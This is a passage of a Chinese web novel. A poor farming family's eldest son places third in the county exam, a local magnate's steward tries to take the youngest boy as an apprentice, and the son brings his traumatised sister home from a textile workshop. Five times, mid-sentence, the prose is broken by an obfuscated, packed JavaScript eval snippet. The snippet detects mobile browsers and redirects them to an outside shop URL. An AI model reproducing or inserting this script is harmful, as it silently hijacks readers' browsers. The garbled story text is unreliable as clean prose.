而王佑,则更加收敛,除了必要的观察和学习,大部分时间都恢复了一个孩童应有的懵懂表象。只是,夜深人静时,他会想起大哥,想起县试。他知道,大哥的文章或许能过关,但科举从来不只是考文章。 他只能在心里,将那份祈愿化作更深的谋划。如果大哥县试考中,顺利参加府试,家里就有了最基本的身份护身符。那么,下一步,或许可以凭借‘无意’间显露对底层运作规则的洞悉,帮着家里,在不过分引人注目的前提下,一点点改善生计? 或者比如,等大哥回来,可以‘偶然’问起一些律例中关于赋役、田宅、借贷的条文,以孩童好奇的方式,引导大哥去关注这些与生计切实相关的‘实学’,而不仅仅是经义文章? 但路要一步步走,大哥如果顺利连过两关,并获得童生身份,才是撬动一切的第一块基石。 时间在等待中变得粘稠而漫长,河边的柳树抽出了一点点几乎看不见的嫩黄芽苞。村里开始准备春耕,王老实的腰在李氏用土方热敷下,似乎好了些,但阴雨天依旧疼得厉害。 终于,在二月二龙抬头过后没多久,一个惊人的消息,如同惊蛰的春雷,猛地炸响了整个王家村,并迅速向四里八乡扩散开去。 王家村的王树,此次县试,高中第三名! 这消息太震撼了。莫说王家村这偏僻地方,就是整个镇子,多少年没出过前三名了?上一个,还是二十年前,镇上一位致仕县丞的孙子! 报喜的差役骑着快马,敲着铜锣,在村口就被蜂拥而出的人群围住了。当那盖着鲜红县衙大印的报帖被高声宣读出来,当王树的名字和县试第三名的头衔清晰地传入每个人耳中时,整个王家村都沸腾了! 王老实和李氏当时正在地里,听到消息,李氏腿一软,直接瘫坐在了田埂上,王老实手里的锄头“哐当”落地,整个人僵在原地,嘴唇哆嗦着,半天没发出声音。还是旁边的人又喊又叫,才把他们从巨大的眩晕中拉回来。 家里瞬间被闻讯赶来道喜、看热闹的村民挤满了。人人脸上都带着不可思议的兴奋和讨好。县试第三名啊!王家这是祖坟冒青烟了! 王佑被王桃紧紧拉着,站在兴奋的人群外围,看着父母被人群包围,手足无措地接受着此起彼伏的恭喜,脸上混杂着狂喜、茫然和挥之不去的惶恐。他看着家里的桌椅上,很快堆满了乡邻送来的白面,一块腊肉,几个鸡蛋,甚至还有一小坛米酒。 喧嚣如同潮水,冲刷着这个清贫的农家小院。王佑的心,在最初的巨大喜悦和松了一口气之后,却慢慢沉静下来,甚至生出一丝寒意。 县试第三名。太好了,但好到……让他不安。 木秀于林,风必摧之。王家毫无根基,大哥骤得第三名,是莫大荣耀,也是莫大靶子。接下来的府试、院试,只会更加险恶。那些有背景的士子,那些落榜的嫉恨者,那些等着‘打秋风’的胥吏乡绅……都会将目光投向这个突然崛起的农家子。 狂喜的浪潮中,王佑的目光越过攒动的人头,望向镇子方向。 大哥可以借着名头接回大姐的念头刚升起,就被院门外一阵更加喧嚣的动静打断了。 只见几个穿着体面、不像普通村民的人,簇拥着一个身穿绸缎长衫、留着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960754|193289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两撇鼠须、脸上带着矜持笑容的中年人,分开人群,走了进来。 为首那人扫了一眼嘈杂的院落,目光落在被围在中间、仍穿着旧袄、满脸惶惑的王老实身上,清了清嗓子,拖长了调子:“王老爷子,恭喜,恭喜啊!令郎高中,实乃本乡镇一大盛事!在下姓周,乃周家管事。奉我家老爷之命,特来道贺!周老爷说了,王家村出了读书人,乃乡梓之光,特备薄礼,望王老爷子笑纳!” 说着,他一挥手,后面两个伙计模样的人,立刻抬上来一个沉甸甸的礼盒,打开一看,里面是两匹颜色鲜亮的细布,一套文房四宝,还有一封红纸包着的银钱。 院子里瞬间安静下来。所有人都屏住呼吸,看着那在阳光下泛着光的细布和银钱。镇上大户周家周老爷!那可是有田千亩,连里长都要给几分面子的人物!他竟然亲自派人来给王家送礼? 王老实完全懵了,手脚都不知道往哪里放,结结巴巴:“这……这怎么敢当……周老爷他……” 周管事笑容不变,声音带着一种不容拒绝的亲热:“王老爷子不必客气。周老爷最是爱才惜才,听闻令郎大才,甚是欢喜。这点心意,权当给令郎添些笔墨,也是周老爷的一份乡谊。另外……” 他话锋一转,目光似有若无地扫过王佑和王桃,笑容更深:“周老爷还说,府试在即,令郎在县学进修,或有不便之处。周家在府城也有几分人面,若令郎需要,或可提供些许便利。再者,王老爷子家中清贫,周老爷有心照拂,布庄正好缺个账房学徒,不知府上这位小郎君……” 他的目光,落在了王佑身上。 所有人的目光,也随之落在了那个被王桃牵着的小男孩身上。 寒意,瞬间顺着王佑的脊背爬了上来。 12. 周家闻风而动 周管事话音刚落,院子里那片刻的寂静便被嗡嗡的议论声取代,但声音都压得极低,带着一种敬畏和看热闹的兴奋。 周老爷不仅亲自派人送礼,还抛出了府城人脉和布庄账房学徒,这是多大的脸面,多大的抬举! 王老实的脑子已经完全不会转了。他这辈子打交道最大的官,不过是村里的地保和收税的胥吏。周老爷这种人物,在他心里和县太爷也差不了多少。对方笑容满面,礼数周全,说的话似乎句句都在为王家着想,可那笑容底下,那账房学徒几个字,却像细针一样,扎得他心头发慌。 他本能地想拒绝,那银钱和细布烫手!可嘴巴嚅嗫了半天,只憋出几个不成调的音节:“这……周老爷厚爱……不敢当……孩子还小……不识字......” 李氏更是吓得脸色发白,紧紧攥着王佑的小手,把他往身后拉,仿佛周管事下一刻就要把人抢走似的。 周管事脸上的笑容淡了一丝,眼中闪过一丝不易察觉的不耐。但他城府极深,立刻又堆起更和煦的笑:“王老爷子这是哪里话。令郎日后前程不可限量,周老爷也是为乡梓长远计,结个善缘。至于府城人脉,不过是举手之劳。账房学徒嘛……” 他目光再次扫过王佑:“我看这小郎君天庭饱满,眼神清明,是个机灵的。跟着识字和学点算筹账目,识些人情世故,日后帮衬家里,或是辅佐兄长,都是极好的。周记布庄,在镇上也是数得着的体面地方,多少人想进还进不去呢!” 周围有村民闻言小声嘀咕起来:“老王头,这可是天上掉馅饼啊!” “周老爷心善,这是要拉扯你们家呢!” “佑儿哥去了粮行,吃穿不愁,还能学本事……” 王老实额头上冷汗直流,只觉得那礼盒里的细布和银钱,还有周管事那笑眯眯的脸,都变成了巨大的压力,让他喘不过气。他求助般地看向周围,可平日里相熟的村民,此刻要么眼神闪烁,要么也跟着劝,没人能帮他拿这个主意。 王佑被母亲紧紧攥着手,小手心里全是汗。他心脏狂跳,大脑飞速运转。 捆绑、控制、乃至……人质! 不能去!绝对不能答应! 可他怎么说?一个五岁孩子,跳出来反对镇上周老爷的‘好意’? 就在王老实支支吾吾,李氏泫然欲泣,王佑心急如焚,周管事笑容渐冷,气氛越来越僵的时候。 院门外,传来一阵清咳,和一个苍老却中气十足的声音:“何人在此喧哗?” 众人闻声望去,只见人群自动分开一条路,李夫子拄着他那根竹杖,慢悠悠地踱了进来。他依旧穿着那身半旧的儒衫,头发梳得一丝不苟,脸上没什么表情,目光淡淡扫过满院子的人,最后落在周管事和他身后的礼盒上。 李夫子学问或许不算顶尖,但德高望重,在十里八乡是出了名的老夫子,教出的学生不少,连里长见了也要客气地称一声‘李先生’。他的出现,让原本一边倒的气氛陡然一变。 周管事脸上的笑容立刻又堆了起来,甚至带着几分恰到好处的恭敬,拱手道:“原来是李老先生!失敬失敬!在下周家管事,奉周老爷之命,特来向王家道贺。不想惊扰了李老先生,实在罪过。” 李夫子“嗯”了一声,算是回应,目光却看向王老实,语气平淡:“王老弟,家中既有喜事,宾客盈门本是常理。只是这庭院狭窄,人多口杂,怕是不利于待客吧?” 王老实如同抓住了救命稻草,连忙道:“是,是,李先生说的是……” 他笨拙地想请李夫子和周管事进屋,可看看自家那清贫的堂屋,又窘迫得不知如何是好。 李夫子却摆了摆手,径直走到院中那棵光秃秃的老树下,找了块还算干净的石墩坐下,竹杖靠在一边,这才抬眼看向周管事:“周老爷的心意,老夫代王树谢过了。王树能得第三名,一是他自身勤勉,二是皇恩浩荡,三是乡梓风水。些许薄礼,心意领了,但王家恐受不起如此重礼。至于府城人脉……” 他顿了顿,语气依旧平淡,却带着一种读书人特有的傲气:“王树既得名次,按例当入县学廪生处进修,准备府试。县学自有章程,朝廷亦有法度。若外人之手惹来非议,反而不美。周老爷的好意,老夫替王树心领。周管事以为如何?” 一番话说完,周管事脸上的笑容僵住了。他没想到这老夫子如此不给面子,话说得这么直白。他周家固然势大,但说到底只是地方豪绅,公然干预、结交学子,若是被有心人拿去做文章,也确实麻烦。尤其这李元明,在本地读书人中有些声望,不好轻易得罪。 他干笑两声,脑子飞快转动:“周老爷也是一片爱才之心,绝无他意。既然如此,这贺礼……” 李夫子截断他的话,目光扫过那礼盒:“贺礼既是周老爷一片心意,王家若不收下,倒显得见外。不如这样,周管事可留下一匹布,给王树裁件新衣,以备府试之用。其余财物还请带回,转告周老爷,王家心领了。待王树府试归来,再让他亲自登门拜谢周老爷今日之情。” 周管事脸色变了变,知道今日只能到此为止。他迅速调整表情,拱手笑道:“李老先生思虑周全,令人佩服!就依先生所言。” 言罢,示意伙计取出那匹颜色稍暗的靛蓝细布,放在一旁,然后命人收起礼盒。 “既然如此,在下就不多叨扰了。恭喜王老爷子, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960755|193289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恭喜李老先生。告辞。”周管事倒也干脆,带着人转身离去。 直到周管事一行的身影消失在村口,院子里紧绷的气氛才陡然一松。看热闹的村民也识趣地陆续散去,只剩几个关系特别近的帮着收拾院子,嘴里还不住感叹李夫子来得及时,有见识。 王老实和李氏这才彻底回过神来,连忙上前,对着李夫子就要下跪磕头。 李夫子用竹杖虚虚一拦:“不必多礼。” 他看了一眼那匹蓝布,对王老实说道:“这布,给王树做件得体衣裳。其他财物,切莫再收。树儿如今是县试第三名,盯着他的人多了。你们在家,更要谨言慎行,莫要让人拿了短处。” 王老实连连点头。 “学生明白。” 就在这时,一个清朗的声音从院门口传来。 众人回头,只见王树不知何时已经站在小院外。他显然已经知道了家中发生的事,脸上还带着长途跋涉的疲惫,但眼神明亮坚毅,身姿挺拔如松。他快步走进院子,先对李夫子深深一揖:“学生来迟,让恩师受累了。” 李夫子看着他,脸上露出一丝满意的神色,点了点头:“你回来得正好。府试在即,县学那边我已替你打点好,三日后便需启程过去。这几日,你就在家中好生准备,也陪陪父母。” “是,恩师。” 李夫子又交代了几句备考事宜,便起身要离开,王家人千恩万谢地将他送到村口。 回到家中,关上院门,那匹蓝布静静放在堂屋桌上,提醒着刚才那场惊心动魄的‘礼遇’。 王树走到父母面前,撩袍跪下:“爹,娘,儿子不孝,让你们受惊了。” 王老实连忙扶起他,双目含泪:“起来,起来……我儿争气,爹娘高兴……就是这……这心里头,慌得很……” 李氏也抹着眼泪:“树儿,那周老爷……” 王树握住母亲的手,声音沉稳:“娘,别怕。恩师说得对,儿子如今获得名次,他们不敢明目张胆如何。只是暗地里的小动作不得不防。这匹布,我们收下用了,便是承了他的情,但也仅此而已。日后若他再有其他要求,儿子自有分寸应对。” 他顿了顿,看向一直安静站在一旁的王佑,走过去,蹲下身,平视着弟弟的眼睛:“佑弟,今天吓到了吧?” 王佑摇摇头,又点点头,小声道:“那个周管事,看我的时候……不舒服。” 王树眼神一暗,摸了摸弟弟的头,语气斩钉截铁:“放心,有大哥在,谁也不能打你的主意。” 王佑看着大哥眼中那份坚定和责任,心中那股寒意,终于被一丝暖流驱散了些。 他轻轻“嗯”了一声。 13. 接王杏回家一 阳光透过早春稀薄的云层,洒在王家小院里。 王树拒绝了所有宴饮的邀请,将那匹靛蓝细布交给母亲,便一头扎进复习中。 第二日清晨,天刚蒙蒙亮,王树已经收拾停当。他换上了母亲连夜用那匹蓝布赶制出来的新衣。虽然针脚略显粗疏,但穿在王树清瘦挺拔的身上,自有一股读书人初成的轩昂气度。他腰间悬着李夫子赠的一方旧砚,手里提着一个素布包袱,里面是王家这两年存在的一千两百余枚铜钱和几件换洗衣物,以及最重要的书籍、考引。 王老实和李氏站在门口,眼中是化不开的担忧和不舍。王桃紧紧拉着王佑的手,也望着哥哥。 “家中诸事,拜托爹娘和妹妹了。” 王老实重重点头,喉结滚动:“你……你放心去。家里有我。” 李氏上前,替儿子整了整其实并不凌乱的衣领,眼圈又红了:“路上小心……到了县学,听夫子的话,好好考……别惦记家里……” “儿子晓得。”王树应道,目光转向弟妹,尤其在王佑脸上停顿了一下,“桃妹,帮爹娘多分担些。佑弟……” 他蹲下身,看着王佑清澈的眼睛,低声道:“在家听爹娘和姐姐的话,莫要乱跑。大哥很快回来。” 王佑用力点头:“大哥,一路顺风。” 王树站起身,对着父母再次一揖,转身,大步流星地朝着村口走去。 但他没有直接去县城。他要在赴考之前,先去镇上,去永顺纺纱工坊,试着把大姐接回家!这是他此刻最迫切、也必须去做的事。 镇西,永顺纺纱工坊。 高大的青砖院墙隔绝了内外,只有一扇厚重的包铁侧门时常开合,吞吐着上工下工的女工。空气里弥漫着棉絮和劣质油脂的味道,还有隐约的轰鸣声。 王树来到工坊侧门时,正是上午工歇的间隙。几个面黄肌瘦、眼神麻木的女工正蹲在墙根下,就着冷水啃着粗硬的饼子。见到一个穿着得体、面容清俊的少年径直走来,她们都有些瑟缩地低下头,或偷偷打量。 看守侧门的还是那个膀大腰圆的汉子,正靠在门框上打盹。王树走到近前,清了清嗓子,拱手道:“这位兄台,请了。” 那看守被惊醒,眯着眼打量王树,见他年少,但气度也不像普通百姓,便收敛了几分凶相,粗声问:“干啥的?工坊重地,闲人免进!” 王树不卑不亢,从怀中取出一份盖有县学红印的考引,展开递到看守眼前:“在下王家村王树,乃本届县试第三名。特来贵坊,寻访家姐王杏。家姐数年前入贵坊做工,签有契约。如今家中有事,需接家姐回去。烦请兄台通禀一声,或让在下与贵坊管事一叙。” 看守看着那鲜红的县衙大印和县试第三名字样,脸色顿时变了变。虽然现在只是县试第三名,但将来保不齐就是童生,甚至秀才相公!这可不是他能随意呵斥打发的。 他态度立刻恭敬了许多,赔着笑道:“原来是王儒童!失敬失敬!您稍等,稍等,小的这就去禀报关管事!” 说完,转身一溜烟跑进了工坊院内。 墙根下那几个女工听得‘县试第三名’、‘接家姐回去’,眼中都露出难以置信的羡慕和一丝微弱的希冀,偷偷看向王树的目光,多了些别样的东西。 不多时,一个穿着绸缎马褂、留着两撇八字胡、眼神精明的中年男人跟着看守快步走了出来。 他便是工坊的关管事,他远远就看到了王树,目光在他那身新衣和脸上停留片刻,脸上立刻堆起职业化的热情笑容:“哎呀呀!不知王儒童大驾光临,关某有失远迎,恕罪恕罪!” 他一边拱手,一边暗暗打量。年少,但气度沉稳,眼神清正。获得县试第三名……这可不得了,哪怕只是个名头,也值得他小心应对。 “关管事客气了。”王树还了一礼,开门见山,“在下冒昧前来,是为家姐王杏之事。家姐于四年八个月前入贵坊做工,当时签有六年契约。如今家中父母年迈,思念长女,且在下不日将赴府试,家中需人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960756|193289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 照应。故特来与管事商议,能否提前解除契约,让家姐随在下归家?契约未满之违约金,以及这些时日的工钱结算,但凭管事按坊规办理。” 关管事心里飞快盘算。王杏?他有些印象,是个沉默肯干的女工,手脚麻利,也不惹事。提前解除契约,按规矩要赔付三个月工钱,工坊并不吃亏。若是平常,他或许会拿捏一番,多要点好处。但眼前这少年虽然只是个儒童,但谁知道他将来能走到哪一步?为一个普通女工,得罪一个可能有前途的读书人,不值当。而且,对方愿意按规矩赔钱,态度又客气,给足了自己面子。 “原来是王杏姑娘的胞弟!真是失敬!”关管事笑容更盛,“令姐在坊中一向勤勉,甚得赏识。既是家中需要,父母思念,此乃人伦孝道,鄙坊岂有阻拦之理?只是这契约……” “契约之事,全凭坊规。”王树再次强调,同时从包袱中取出一个小心包好的小布袋。“这里是约定的违约金数目,还请管事清点。家姐这些时日的工钱,也请一并结算。” 关管事接过布袋,掂了掂,又打开略看一眼,数目果然符合坊里规定,甚至略有超出。他心中最后一点犹豫也消失了,这少年做事真是滴水不漏,既讲规矩,又懂人情。 “果然是读书明理之人!”关管事将钱袋收起,脸上的笑容真诚了几分,“既如此,关某这就去取契约文书,并为令姐结算工钱。王儒童请稍候片刻,不妨进坊喝杯粗茶?” “不必麻烦管事,在下在此等候即可。”王树谢绝。 关管事办事倒也利落,不到一刻钟,便拿着已经按了手印的解除契约文书,以及一小串用细绳穿好的铜钱走了出来。 “契约已销,这是令姐的工钱。我这就让人去叫王杏姑娘出来。” 等待的时间并不长,但对王树而言,却仿佛过了许久。他望着那扇厚重的门,想象着大姐这几年在里面的日子,心绪难平。 终于,侧门出现一个低着头的瘦削身影,脚步有些虚浮地走了出来。 14. 接王杏回家二 她穿着洗得发白的那身旧衣裳,头发用一块同色的旧布包着,露出苍白消瘦的脸颊和尖尖的下巴。眼神有些呆滞,似乎不太适应外面明亮的光线,双手紧张地绞在一起,指节粗大,布满细小的伤口和茧子。 她茫然地抬起头,当看到站在门前,身姿挺拔如竹的少年时,整个人猛地僵住了。她的眼睛一点点睁大,干裂的嘴唇颤抖着,似乎想说什么,却发不出声音。泪水,毫无征兆地涌了上来,瞬间模糊了视线。 “小……小树?”沙哑得几乎听不清的颤抖声音,从她喉咙里挤出来。 王树的心脏像是被狠狠攥了一下,酸楚与激动瞬间冲上眼眶。他大步上前,在距离大姐两步远的地方停住,深深吸了一口气,努力让声音保持平稳,却依旧带着哽咽:“姐,是我。我……我来接你回家。” “回家……”王杏喃喃重复着这两个字,仿佛听不懂它们的含义。她的目光掠过弟弟崭新的衣衫,落在他手里那张盖着红印的文书上,又看向旁边陪着笑脸的关管事,最后,视线越过他们,投向远处那片通往村庄的天空。 巨大的冲击让她有些站立不稳,身体晃了晃。 王树连忙伸手扶住她,触手之处,是隔着旧衣粗布也能感觉到的嶙峋瘦骨。他的眼泪终于忍不住落了下来。 “姐,我们回家。爹娘,桃妹,佑弟,都在等你。”他低声说着,将那一小串工钱塞进大姐冰凉的手中,然后接过关管事递来的解除文书,小心收好。 转身对着关管事再次一拱手:“多谢管事行此方便,在下告辞。” 关管事看着这对姐弟,心中也略有感慨,拱手回礼:“王儒童慢走,王姑娘……多保重。” 王树扶着依旧浑浑噩噩、仿佛在梦中的王杏,一步一步,离开了那堵困了她近五年的青砖院墙,走上了回村的那条土路。 王杏走得很慢,脚步虚浮,不时回头看向工坊的方向,又茫然地看着前方。她紧紧攥着弟弟的衣袖,仿佛生怕这是一场梦,一松手就会醒来。 王树也不催她,只是稳稳地扶着她,用自己的身体支撑着她,慢慢地走。 直到走出了镇子,踏上回村的田间小路,看着两旁熟悉的田野,王杏似乎才一点点从那种巨大的恍惚中回过神来。她停下脚步,转过身,看着弟弟,泪水无声地汹涌而出。 “小树……你……你真的中了县试?接我……接我回家?”她终于能说出完整的句子,声音却破碎不堪。 “嗯!”王树用力点头,眼泪也流得更凶,“姐,你以后再也不用去那里了。” 王杏猛地扑进弟弟怀里,压抑了多年的恐惧、委屈、疲惫,终于化作嚎啕大哭,在这空旷的田野上,毫无顾忌地释放出来。哭声嘶哑悲切,惊起了田埂上几只觅食的麻雀。 王树紧紧抱着瘦骨嶙峋的大姐,任由她痛哭,只是用手轻轻拍着她的背,一遍遍地说:“回家了,姐,我们回家了……没事了,都过去了……” 不知过了多久,王杏的哭声渐渐平息,变成断断续续的抽噎。她抬起红肿的眼睛,看着弟弟,又低头看看自己,忽然生出一种巨大的惶恐和自卑:“我……我这个样子……爹娘会不会……” “不会!”王树打断她,用手背擦去她脸上的泪,“爹娘天天念叨你,担心你。桃妹和佑弟也一直记挂你。姐,你是为了这个家才去的,家里只有心疼。我们快回去吧,爹娘看到你,不知道有多高兴!” 王杏看着弟弟坚定温暖的眼神,心中那块冰封了太久的地方,终于感受到了一丝久违的暖流。她点了点头,任由弟弟搀扶着,继续向家的方向走去。 离家越近,她的心跳得越快。当那熟悉的低矮院墙和那扇木门终于出现在视线里时,她再次停下了脚步,身体微微发抖。 院门虚掩着,里面传来母亲熟悉的唤鸡声。 王树深吸一口气,松开扶着大姐的手,上前一步,推开了院门。 “爹!娘!桃妹!佑弟!你们看谁回来了!”他扬声喊道,声音里带着难以抑制 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960757|193289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的情绪。 院子里,正在喂鸡的李氏闻声回头,手里的瓢“咣当”一声掉在地上。在屋里编筐的王老实猛地站起身,撞翻了脚边的小凳。王桃从灶间探出头,王佑也从角落的小凳上站了起来。 所有人的目光,都聚焦在那个站在门口、瘦削憔悴、穿着原来那身旧衣裳、脸上泪痕未干、眼神怯生生的身影上。 时间,仿佛在这一刻凝固了。 李氏的嘴唇哆嗦着,眼睛瞪得极大,像是看到了一个绝不可能出现的幻影;王老实张着嘴,喉咙里发出嗬嗬的声响;王桃“哇”地一声哭了出来;王佑的鼻尖猛地一酸。 王杏看着苍老了许多的父母,那积攒了太久的思念再次冲破闸门,她腿一软,朝着父母的方向,跪了下去,泣不成声:“爹……娘……不孝女……回来了……” “杏儿!”李氏发出一声撕心裂肺的哭喊,踉跄着扑过去,一把将女儿死死搂进怀里,母女俩抱头痛哭。 王老实也扑了过来,粗糙的大手颤抖着,想摸摸女儿的头,却停在半空,双目含泪,只反复念叨着:“回来就好……回来就好……我的女儿啊……” 王桃也哭着扑过去,抱住姐姐和母亲。王佑慢慢走过去,小手轻轻拉了拉大姐并不特别合身的衣角。 王杏感受到那小小的力道,泪眼朦胧地低头,看到一个眉眼清秀、眼神沉静的小男孩,正仰头看着她。这是……佑弟?她离家时,还在襁褓里的幼弟? 王佑仰着小脸,轻声说:“大姐,我们团聚了。” 简单的几个字,却像最温暖的春风,吹进了王杏的心底。她伸手,想摸摸弟弟的头,却看到自己手上粗糙的伤口和老茧,又瑟缩了一下。 王佑却主动伸出小手,握住了大姐那布满伤痕的手指。 王杏浑身一震,泪水再次汹涌而出。 小小的院子里,哭声、低语声、安慰声交织在一起。阳光将一家人紧紧相拥的影子,牢牢地印在了这片他们深爱并为之奋斗的土地上。 15. 创伤 王树在家仅停留了一晚。 那一晚,王家低矮的堂屋里,灯火比过年时还要亮些。李氏用一小碗珍藏的猪油,几根从地窖深处刨出的冬菜,和着糙米,熬了一锅稠稠的粥。王杏起初吃得小心翼翼,几乎是数着米粒在咽,工坊苛刻的饮食和长期的饥饿,让她对食物有一种本能的敬畏和惶恐。在家人鼓励而心疼的目光下,她才渐渐放松,捧着碗的手却始终在微微发抖。 她几乎不说话,只是安静地听父亲说着田里的墒情和来年的打算;听母亲絮叨着村里家长里短,语气里满是对她这些年的心疼。 王树看着大姐低垂的眼睑下浓重的阴影和瘦削的肩颈线条。他偶尔会夹一筷子咸菜放到大姐碗里,轻声说:“姐,多吃点。” 饭后,王杏抢着要去洗碗,却被李氏死死拉住:“你歇着!好好歇着!这些活不用你!” 李氏的语气近乎命令,带着不容置疑的心疼。 王杏拗不过,局促地坐在那里,手脚都不知道该往哪里放。她看着母亲和妹妹麻利地收拾,看着父亲坐在门槛上抽着闷烟,看着弟弟安静地摆弄着几颗光滑的小石子。工坊里高强度的机械劳作,昼夜颠倒的轮班,严厉的管束和冷漠的人际关系,早已将她打磨得只剩下本能反应的躯壳。家的温暖、亲人的关切,对她而言,熟悉又陌生。 夜深了,李氏将王杏拉进里屋,那里已经用门板和长凳临时搭了一张小床,铺着家里最厚实干净的被褥。王杏摸着那粗糙但干燥温暖的棉布,眼圈又红了。 “杏儿,以后你就睡这儿,跟娘挨着好好睡,啊?”李氏的声音压得很低,带着一丝哽咽。 王杏点点头,想说些什么,喉咙却哽住了。她看着母亲鬓角刺眼的白发和脸上深刻的皱纹,心中是无以复加的酸楚。 隔壁,王佑睁着眼,听着那边隐约传来母亲压低的啜泣和大姐极力隐忍的呼吸声,久久无法入睡。他知道,身体的回归只是第一步,大姐心里的伤,需要更多的时间和耐心去抚平! 第二天一早,天还没亮透,王树就悄无声息地起身了。他穿戴整齐,背上包袱,看了一眼还在熟睡中的弟弟,又凝神听了听里屋的动静,才轻轻拉开房门。 院子里,王老实已经等在那里,手里拿着一根削得光滑的榆木棍塞进王树手里:“路上带着,防身。” 李氏也红着眼眶出来,将一个油纸包塞进他包袱:“几个饼子,路上吃。到了县城,听夫子的话,万事小心……” 王树一一应下,对着父母深深一揖:“爹,娘,大姐她……” “你放心去。”王老实打断他,声音干涩却坚定,“家里有我们。你大姐……我们会照看好。” 王树不再多说,最后看了一眼家门,大步流星地向着通往县城的方向走去。 王树走后,家里的日子似乎又恢复了往日的节奏,却又截然不同。 王桃因蒙学成绩优异,李夫子再次上门劝学,王老实和李氏咬咬牙决定再让她跟夫子求学一年。 王杏每日都起得很早,几乎是天不亮就醒。她轻手轻脚地起来,想找活干,却发现水缸已被挑满,灶间也收拾得干干净净。 李氏心疼女儿,坚决不让她干重活,只让她帮着摘摘菜、递递东西。王杏便默默地做,动作带着小心翼翼的僵硬和过分认真的专注,仿佛在完成一件件不容有失的工序。她几乎不主动说话,尤其在有外人来家中时,会下意识地缩到角落,避开目光。她常常放空,望着某个地方,却又没有焦点,像是灵魂还困在那座青砖高墙之内。 王佑将这一切都看在眼里。 他没有缠着大姐问东问西,也没有刻意去安慰。有些创伤,语言苍白无力,过分的关注反而会成为一种压力! 他选择了一种安静的陪伴。 清晨,当王杏早早醒来,不知所措地站在院子里时,王佑也会揉着眼睛,抱着他的小枕头,摇摇晃晃地走到她身边,挨着她坐下,也不说话,只是看着东方天际慢慢染上鱼肚白。 王杏起初有些无措,下意识地想避开。但王佑就那么安静地坐着,小小的身体传来温热的依偎感。渐渐地,王杏僵硬的身体放松了一些,也挨着弟弟,默默地看着天色变化。 白天,李氏在院子里做针线或料理家务,王杏在旁边帮忙时,王佑就坐在不远处的门槛上,用树枝在地上写写画画,或者摆弄几个简陋的小木块。他有时会抬起头,看着大姐穿针引线时微微颤抖的手指,或者看着她望着远处时那空茫的眼神。 午后,阳光好的时候,王佑会拉着王杏的衣角,走到院子里那棵老树下。他蹲下身,用小木棍在地上划拉,画一些简单的图形,或者写几个歪歪扭扭的字。王杏起初只是站在旁边看,后来,在王佑无声的邀请下,也慢慢蹲下来,看着他画。 王佑用木棍指着地上一个方方正正的‘田’字:“大姐,你看,这是我新学的田字。爹说,田是我们的根。” 王杏看着那个字,眼神动了动,嘴唇嚅嗫了一下,没出声。 王佑也不在意,又画了一个‘家’字,指着上面的宝盖头:“这是房子。” 又指着下面画得像个简单的小猪‘豕’字:“这是有猪,有吃的,就是家。” 王杏视线长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960758|193289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久地停留在那个歪扭的‘家’字上,眼圈慢慢红了。她伸出手指,指尖颤抖着,小心翼翼地,沿着王佑画出的痕迹,轻轻描摹了一遍。 王佑看着她苍白瘦削的手指划过泥土,心中酸涩,脸上却露出一个纯真的笑容:“大姐,你写得比我好看。” 王杏猛地缩回手,像是被烫到一样,但眼中却有了一丝极微弱的光亮。 